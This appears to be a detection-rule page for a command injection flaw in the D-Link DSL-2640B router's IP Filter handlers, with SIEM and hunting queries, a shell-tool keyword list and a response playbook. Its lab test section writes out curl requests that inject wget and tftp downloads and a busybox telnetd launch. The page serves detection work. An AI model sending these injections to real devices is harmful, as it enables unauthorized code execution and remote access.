Skip to content
CVE-2026-138290

D-Link DSL-2640B IP Filter scoutflt/scinflt Command Injection (CVE-2026-138290)

Initial Access Execution Lateral Movement Last updated:

Detects exploitation attempts against the command injection vulnerability CVE-2026-138290 in the D-Link DSL-2640B 3.0.6.0.41 router. The flaw is in the scoutflt/scinflt functions of the IP Filter component. Attacker-controlled input to IP filter parameters such as srcAddr is passed into shell command execution (CWE-77/CWE-78) without sanitization. A successful request can run arbitrary OS commands on the device (CVSS 4.0 base score 9.3). The attack can be launched remotely. Because this is an embedded SOHO router, detection focuses on web-request telemetry, proxied HTTP access to the management interface, and downstream indicators such as unexpected outbound connections or firmware tampering. A public proof-of-concept write-up has been disclosed. No confirmed in-the-wild use is recorded in the sources.

Based on dujiaode DSL2640B scoutflt/scinflt filter command injection write-up

Vulnerability Intelligence

Theoretical

What is CVE-2026-138290 D-Link DSL-2640B IP Filter scoutflt/scinflt Command Injection (CVE-2026-138290)?

D-Link DSL-2640B IP Filter scoutflt/scinflt Command Injection (CVE-2026-138290) (CVE-2026-138290) maps to the Initial Access and Execution and Lateral Movement tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for D-Link DSL-2640B IP Filter scoutflt/scinflt Command Injection (CVE-2026-138290), covering the data sources and telemetry it touches: Network Web Proxy Logs, Firewall HTTP Inspection, Router/Gateway syslog. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement
Microsoft Sentinel / Defender
kusto
// df00tech DF00-9b4e27c155 · https://df00tech.com/detections/CVE-2026-138290 · licence: https://df00tech.com/detections/licence
// Microsoft Sentinel / Defender - detect command injection against D-Link DSL-2640B IP Filter scoutflt/scinflt endpoints
// Works against proxied/reverse-proxy or network HTTP logs ingested into CommonSecurityLog or custom WebRequest tables
let susPatterns = dynamic([";", "|", "`", "$(", "&&", "%0a", "%0A", "%3b", "%3B", "%26", "wget", "tftp", "busybox", "/bin/sh", "nc ", "telnetd"]);
CommonSecurityLog
| where DeviceVendor in~ ("D-Link", "Zscaler", "Palo Alto Networks") or isnotempty(RequestURL)
| where RequestURL has_any ("scoutflt", "scinflt") or RequestURL contains "IP Filter" or RequestURL has "ipfilter"
| extend DecodedUrl = url_decode(RequestURL)
| where DecodedUrl has_any (susPatterns) or RequestURL has_any (susPatterns)
| project TimeGenerated, SourceIP, DestinationIP, DeviceName, RequestURL, DecodedUrl, RequestMethod, DeviceVendor
| sort by TimeGenerated desc

Flags HTTP requests to the DSL-2640B scoutflt/scinflt IP Filter handlers that carry shell metacharacters or payload download tooling indicative of command injection.

critical severity medium confidence

Data Sources

Network Web Proxy Logs Firewall HTTP Inspection Router/Gateway syslog

Required Tables

CommonSecurityLog

False Positives

  • Legitimate administrator configuring IP filter rules whose values coincidentally include ampersand/semicolon characters in descriptions
  • Vulnerability scanners or authorized penetration tests probing the management interface
  • Security appliances that log URL-decoded payloads and re-ingest them, producing duplicate pattern hits

Query fingerprint DF00-9b4e27c155 · licence

Sigma logsource & community rules

The detection logic for D-Link DSL-2640B IP Filter scoutflt/scinflt Command Injection (CVE-2026-138290) (CVE-2026-138290) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated scoutflt command injection via curl

    Expected signal: Proxy/firewall HTTP log entry showing POST to /scoutflt containing ';wget' payload

  2. Test 2 Simulated scinflt inbound filter injection

    Expected signal: HTTP request log showing /scinflt with %0a and busybox telnetd payload

  3. Test 3 Pipe-based command injection against IP Filter

    Expected signal: HTTP log entry with /scoutflt containing pipe and tftp payload


Response Playbook

Triage

  1. Identify the source IP making the request and determine whether it is an authorized administrator or management host; requests to scoutflt/scinflt should originate only from the LAN management subnet.
  2. URL-decode the captured request and extract the injected payload after shell metacharacters (;, |, `, $(), %0a) to understand the intended command (for example wget/tftp download, telnetd enable, reverse shell).
  3. Confirm the target device is a D-Link DSL-2640B running firmware 3.0.6.0.41 by checking inventory or the device banner/HTTP Server header.
  4. Check whether the management interface is reachable from untrusted networks or exposed to the WAN, which raises impact.

Containment

  1. Block the attacker source IP at the perimeter firewall and restrict access to the DSL-2640B management interface to a dedicated admin VLAN/ACL.
  2. Disable WAN-side remote management on the device and, if compromise is suspected, isolate the router from the network pending forensic review.
  3. Where possible, place the vulnerable device behind a segmentation boundary. The product line is end-of-life and no vendor patch is referenced in the sources.

Evidence Collection

  1. Capture full proxy/firewall HTTP request logs including the raw and decoded URI, source IP, timestamp and User-Agent for the suspicious scoutflt/scinflt requests.
  2. Collect the router configuration backup and, if accessible, the device syslog and any writable filesystem artifacts (dropped binaries, modified startup scripts, altered IP filter rules).
  3. Preserve downstream network flow records showing any outbound connections initiated by the router immediately after the request.

Escalation Criteria

  • ! Escalate to incident response if the injected command includes a successful file download (wget/tftp), service enablement (telnetd), or if outbound connections from the router are observed after the request.
  • ! Escalate if the management interface is confirmed reachable from the WAN/internet, as exploitation may be automated.
  • ! Escalate if the same payload pattern is seen against multiple devices or repeated from the same source.

Investigation Guide

Forensic Artifacts

  • > Web/proxy access logs showing scoutflt or scinflt requests with shell metacharacters
  • > Router syslog or crash/debug output referencing the IP Filter handler
  • > Newly created or modified files on the device (downloaded binaries, altered rc/startup scripts, modified IP filter rule tables)
  • > Unexpected listening services (for example telnetd) or outbound connections from the router IP

Tuning Guidance

Baseline which internal hosts legitimately administer the DSL-2640B and allowlist those source IPs to reduce noise from genuine IP filter configuration changes. If administrators routinely use special characters in filter rule names, tighten the payload regex to require known command-injection tooling (wget/tftp/busybox//bin/sh/telnetd) alongside metacharacters. On networks without this device model, scope the rule to the device's management IP only.


Hunting Queries

Hunt for repeated or clustered command-injection attempts against the IP Filter endpoints grouped by source IP.

Hunting — KQL
kql
// df00tech DF00-9b4e27c155 · https://df00tech.com/detections/CVE-2026-138290 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has_any ("scoutflt","scinflt") | extend d=url_decode(RequestURL) | where d has_any (";","|","$(","wget","tftp","busybox") | summarize count() by SourceIP, bin(TimeGenerated,1h)
Hunting — SPL
spl
``` df00tech DF00-9b4e27c155 · https://df00tech.com/detections/CVE-2026-138290 · licence: https://df00tech.com/detections/licence ```
index=proxy (uri=*scoutflt* OR uri=*scinflt*) | eval d=urldecode(uri_query) | where match(d,"[;|`]|wget|tftp|busybox") | stats count by src_ip, uri

Atomic Red Team Tests

Test 1 Simulated scoutflt command injection via curl
linux

Sends a crafted request to the DSL-2640B scoutflt IP Filter endpoint with a shell metacharacter payload to validate detection of command injection patterns. Lab/isolated device only.

Command

bash
curl -s -X POST 'http://192.168.1.1/scoutflt' --data 'ipfilter_rule=1;wget http://10.0.0.5/x -O /tmp/x'

Cleanup

bash
echo 'No persistent change on the testing host; remove any /tmp/x on the target lab device: rm -f /tmp/x'

Expected Telemetry

Proxy/firewall HTTP log entry showing POST to /scoutflt containing ';wget' payload

Expected Detection

KQL/SPL rules match on scoutflt endpoint with wget and semicolon metacharacter

Test 2 Simulated scinflt inbound filter injection
linux

Sends a GET request to the scinflt handler with URL-encoded newline and command to exercise detection of encoded injection. Lab only.

Command

bash
curl -s 'http://192.168.1.1/scinflt?rule=1%0abusybox%20telnetd'

Cleanup

bash
echo 'No host-side artifacts; disable any telnetd started on lab device: killall telnetd 2>/dev/null || true'

Expected Telemetry

HTTP request log showing /scinflt with %0a and busybox telnetd payload

Expected Detection

Rules match on scinflt endpoint with %0a and busybox/telnetd indicators

Test 3 Pipe-based command injection against IP Filter
linux

Issues a request using a pipe metacharacter to chain a command through the IP Filter parameter, validating pipe-based detection. Lab only.

Command

bash
curl -s 'http://192.168.1.1/scoutflt?ipfilter=1|tftp%20-g%20-r%20m%2010.0.0.5'

Cleanup

bash
echo 'No persistent host change; remove any retrieved file on lab device: rm -f ./m'

Expected Telemetry

HTTP log entry with /scoutflt containing pipe and tftp payload

Expected Detection

Rules match on IP Filter endpoint with pipe metacharacter and tftp tooling

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections